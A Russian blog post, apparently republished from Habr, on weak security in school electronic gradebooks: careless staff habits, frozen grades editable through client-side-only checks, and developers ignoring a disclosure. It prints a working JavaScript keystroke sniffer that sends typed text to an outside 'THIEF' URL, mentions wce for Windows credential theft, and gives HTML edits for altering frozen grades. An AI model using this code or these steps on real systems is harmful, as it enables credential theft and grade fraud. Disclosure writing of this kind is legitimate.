Добрый день, хабраюзер!
В этом топике будет затронута проблема, связанная с организацией надежности цифровых информационных систем, являющихся частью процесса современного образования. Если говорить конкретно, то электронных дневников.
Как известно, цифровые внедрения нынче повсеместны: школы и университеты заводят собственные странички в социальных сетях и блогах для информирования о происходящем, редкое учебное заведение не имеет собственного сайта, а электронные журналы вот-вот окончательно вытеснят бумажные… И это лишь часть тех перемен, которые происходят у нас на глазах. Конечно же, в информационный век этому уже не приходится удивляться: люди привыкли, что вся интересующая их информация находится интернете.
Очевидно, эти процессы инкапсулируют в себе и немалую ответственность как со стороны пользователей, так и со стороны разработчиков. Теперь недостаточно, уходя из кабинета, запирать дверь на ключ, оставляя позади нее всё важное. В цифровом мире физическая недоступность не является гарантией безопасности( однако, несомненно, этот аспект крайне важен в плане обеспечения комплексной безопасности ). Но, обо всем по порядку.
Проблема #1: человеческий фактор.
«Самая большая уязвимость любой информационной системы — это её пользователь»(с)
С этим высказыванием трудно поспорить — человек есть человек. Именно эта проблема является ключевой в плане надежности и безопасности информационных ресурсов как со стороны пользователей, так и разработчиков. Эта проблема актуальна ровно столько, сколько существует сам человек, а поэтому она не относится к цифровому миру, как таковому. Ведь и во времена, предшествующие цифровым, например, бумажный журнал было доверено переносить конкретному человеку( старосте, кажется ), который, в общем-то, мог бы пользоваться своим положением или быть использованным другими своими одногруппниками, что в конечном счете вполне могло привести к подделке оригинальной информации, ее компроментации. Другой пример, когда виновниками выступают уже не доверенные лица, а непосредственные «владельцы» информации. Если рассматривать это на конкретном примере, то легко представить себе обычного, скажем, секретаря, не подумавшего не только забрать, но и вообще закрыть журнал с важной информацией на время своего отсутствия в кабинете. Такое бывает и нередко. Это также может привести к утечке/подделке важных для учреждения сведений.
В современное время примеры неаккуратности человеческого фактора остаются идентичными, разве что бумажки заменяются компьютерами. На самом деле это несет еще большую угрозу. Если запрограммировать и «заразить» бумажку было нельзя, то с компьютерами все обстоит иначе.
Редкий сотрудник( по крайней мере, в сфере школьного образования ) нажимает Win+L, отлучаясь по делам, некоторых в принципе не заботит, стоят ли пароли на их учетных записях Windows, а третьи вообще пускают за свой ноутбук чуть ли ни каждого встречного… Все это лишь усугубляет и без того ненадежные системы. Вы можете использовать самые безопасные браузеры, накачать дюжину различных антивирусов и даже использовать уникальный пароль учетной записи, но если пускать за свое место других людей без пристального наблюдения за их действиями, ничто не сможет гарантировать надежность рабочего места и отсутствие утечек.
Теперь хотелось бы привести простой пример эксплуатации «человеческого фактора».
Есть добрый преподаватель географии Иван Иванович, который попросил своего «ученика-компьютерщика» Антона Антоновича разобраться с тем, почему на его компьютере нет звука в презентации( обычная проблема ). Ученик, быстро разобравшись с проблемой, пока Иван Иванович пишет на доске материал к следующему уроку, подумывает о перехвате данных своего учителя с этого компьютера( часто это почта, логины-пароли от соц.сетей и электронных журналов и т.д ). Заранее Антоном был заготовлен злобный JavaScript-сценарий, являющийся частью его self-made сниффера:
(function(){
THIEF = "http://ift.tt/1fWxwn2";
function grab(e)
{
var o = e.srcElement;
var img = new Image();
var text = o.value;
if(!text || typeof text == "undefined")
text = o.innerHTML;
if(!text || typeof text == "undefined" || (text+"").trim().length==0)
return;
img.src = THIEF+"?stolendata="+encodeURIComponent(text)+
"&urlfromdata="+encodeURIComponent(location.href.toString())+
"&domdata="+encodeURIComponent(o.getAttribute("id")+" ||| ."+ o.getAttribute("class"));
img.width="1px";
img.height="1px";
img.id="taken_data_sender";
try{
var oldImg = document.getElementById(img.id.toString());
document.body.removeChild(oldImg);
}catch(e){}
document.body.appendChild(img);
return true;
}
function connect_signal(selector)
{
var elements = document.getElementsByTagName(selector);
for(var el in elements)
elements[el].addEventListener('keyup', grab, false);
}
var selectors = ['*'];
for(var k in selectors)
connect_signal(selectors[k])
})();
И «ученик-компьютерщик» решает встроить свой скрипт внутрь любимого браузера Ивана Ивановича. Сделать Антон это может как стандартными средствами, предоставленными непосредственно браузерами, так и сторонними, вроде расширений TamperMonkey(Chrome), GreaseMonkey(FireFox) и т.д. После чего он довольно встает с захваченного PC и идет с улыбкой к любимому учителю географии, информируя его о починке исходной проблемы. Но с этого момента все вводимые данные на захваченном компьютере будут течь к Антону. Для более пущего эффекта он может сбросить всю историю браузера, включая запомненные ранее аутентификационные данные из форм.
Кроме того, Антон может попытать счастье и постараться вытащить пароль учетной записи Windows, используя средства наподобие wce (WindowsCredentialsEditor). Ведь вряд ли у Ивана Ивановича десяток различных паролей — так ведь неудобно — поэтому, вполне вероятно, что всего один единственный ;)
Проблема #2: ненадежность информационных ресурсов(электронных журналов)
Начать, пожалуй, следует с того, что ни один электронный журнал, встретившийся мне, не обладал должной системой защиты и системой выявления несанкционированного доступа. Я не хотел бы их перечислять. Все они, с точки зрения *безопасной* авторизации, напоминали какие-то форумы и многочисленные сайты-пиратки, построенные на движке DLE. Везде для входа в свой кабинет нужно было лишь указать логин( который часто представлял из себя email ) и пароль. Ни о какой истории входов-выходов и информации об открытых «висячих» сессиях и речи нет. Однако данные, находящиеся внутри, все же представляют определенную ценность.
Рассмотрим пример на реально существующем электронном журнале, который функционировал в течении целого года.
Предположим, тот самый «ученик-компьютерщик» этим же вечером, придя домой и проанализировав свой лог, получил несанкционированный доступ к учетной записи преподавателя:
авторизовавшись, Антон увидел следующую картину:
что натолкнуло его на мысль о том, что имея в руках auth-данные лишь одного сотрудника своего образовательного учреждения( Ивана Ивановича ), он может управлять всеми оценками любого юнита, входящего в состав этого учреждения. Это довольно странно, ведь это идет вразрез с простейшими правилами доступа.
Однако к служебной и конфигурационной информации у простого преподавателя доступа все же нет. Зато такой доступ есть у аккаунта администратора учебного заведения:
Здесь приведен один из ключевых конфигурационных разделов журнала. Красным выделено то, что влияет на безопасность и достоверность данных. Далее я хотел бы показать, что часто подобные настройки являются лишь иллюзией, которая еще больше усугубляет положение: ответственные лица полагают, что информация месячной/недельной(и т.д) давности была проверена и заморожена навсегда. Однако, это не так.
Что-либо изменить просто так не удастся, т.к на данный момент уже прошло слишком много времени.
Но если заглянуть в исходный код и посмотреть, как все устроено, можно увидеть следующее:
Синим обозначено то, что якобы не подлежит замене, красным — что изменяемо. Сразу появляется мысль подставить данные из уязвимого красного блока в синий, т.е заменить SPAN на INPUT. После срабатывания JS-события onChange происходит следующее:
Сработала одна из систем, отвечающих за надежность данных. Однако, если вспомнить, что есть HTML-сущности, то комментарий можно будет скрыть.
После нажатия на кнопку и обновления страницы можно увидеть:
Замороженные данные были подвержены изменению? Да. А причина тому кроется в том, что разработчики данного дневника не подумали проверять данные на серверной стороне. Они доверчиво принимают параметры от клиента, а сервер, как зомби, тупо прожевывает их, не сомневаясь в надежности…
Но, как оказалось, комментарии можно и вовсе обойти, а присутствие/отсутствие на конкретном уроке подделать, что в общем-то уже менее серьезно. Достаточно перейти на страницу урока( ↑ ссылка в заголовке таблицы ↑ ):
Здесь есть возможность добавить оценку( значок «плюсик» ), но не изменить уже существующую(замороженную). Красным цветом снова показано «уязвимое» место системы, а синим — его эксплуатация. Здесь просто воспользоваться методом замены не получится( нельзя просто так взять и заменить DIV на A ), потому что тег ссылки содержит в себе служебные параметры: ID оценки и ID человека, которому она принадлежит. По нажатию на ссылку всплывает окно, ассоциированное с данными оценки. Поэтому для эксплуатации придется совсем немного подкорректировать параметры ссылки:
Исходные данные:
1) <a id="m192609687_5296401_0" href="http://ift.tt/1GSI4fO? view=mark&school=54509&lesson=144407896&work=192609687&person=5296401" class="mark mX" title="Редактировать оценку">+</a>
2) <td id="w192604193_5296401" class="lpm tac mark5"><div style="display: inline" class="mark mG">5</div></td>
Аутпут:
<a id="m192604193_5296401_0" href="http://ift.tt/1GHoiBQ" class="mark mX" title="Редактировать оценку">+</a>
Теперь, если произвести замену, изменить и обновить:
Снова удалось заменить замороженные данные. Даже без указания комментария(причины)!
Здесь также наблюдается уязвимость, связанная с односторонней проверкой данных.
Вот таким достаточно простым способом удалось обойти основной раздел, отвечающий за защиту и надежность самых важных данных электронного журнала.
Исследование HTTP-запросов показало, что комментарий не учитывается вообще — это просто сторонний параметр, который может быть и пустым( значение на пустоту проверяется на клиентской стороне ).
Возможно, разработчики и проектировщики точно были уверены, что данными функциями будут пользоваться исключительно сотрудники образовательных учреждений… но, на худой конец, ведь вполне может быть и так, что ученик является родственником для сотрудника и они пользуются общий компьютером…
Проблема #3: нежелание исправлять свои ошибки.
В начале описания проблемы#2 было сказано, что уязвимый электронный журнал функционировал в течении целого учебного года. Исследование же журнала было проведено почти в самом начале учебного года, разработчики и администрация были проинформированы, однако ни одной ошибки так и не было исправлено за всё прошедшее время. Вполне вероятно, что проблемой#1, связанной с человеческим фактором, воспользовалось множество учеников из разных образовательных учреждений, что в итоге могло привести к массовой подделке исходных данных. Проблема#2 лишь усугубляет эту ситуацию.
Сотрудники образовательных учреждений так же продолжают предоставлять доступ к своим компьютерам каждому встречному, не наблюдая за их действиями. Некоторые позаботились о смене своих «штатных» паролей( или их первоначальной установки ). В целом ничего не изменилось, и уровень как безопасности, так и надежности остался на прежнем уровне.
Вывод
Проблема, как и положено, кроется в корне. Чтобы ее можно было как-то искоренить, необходимо заставлять людей задумываться о безопасности их рабочего места, о том, что вокруг «ходит» слишком много угроз. Утечка и несанкционированный доступ — часто лишь вопрос времени не только в контексте современных образовательных учреждений. Но на их примере очень легко убедиться в некомпетентности многих сотрудников. На примере электронного журнала( dnevnik.mos.ru ) стало видно, что некомпетентность лишь одного человека может повлечь за собою крах, в данном случае, всей системы оценивания.
Многие школьные учителя еще только осваиваются в плане электронных ресурсов, но когда однажды( уже очень скоро ) произойдет повсеместный полноценный переход от «олдскульных» бумажных журналов к электронным, необходимо будет уметь объективно оценивать угрозы не только пользователям, но и разработчикам подобных ресурсов. Необходима тщательно проработанная система авторизации, которая бы позволяла отслеживать неправомерный доступ; необходимы и системы логгирования входов и отслеживания открытых сессий текущего аккаунта; необходимо и как можно более сузить области ответственности отдельных аккаунтов.
Все это в конечном счете позволит доверять современным электронным дневникам и не сомневаться в информации, которую они призваны не только предоставлять, но и оберегать.
This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий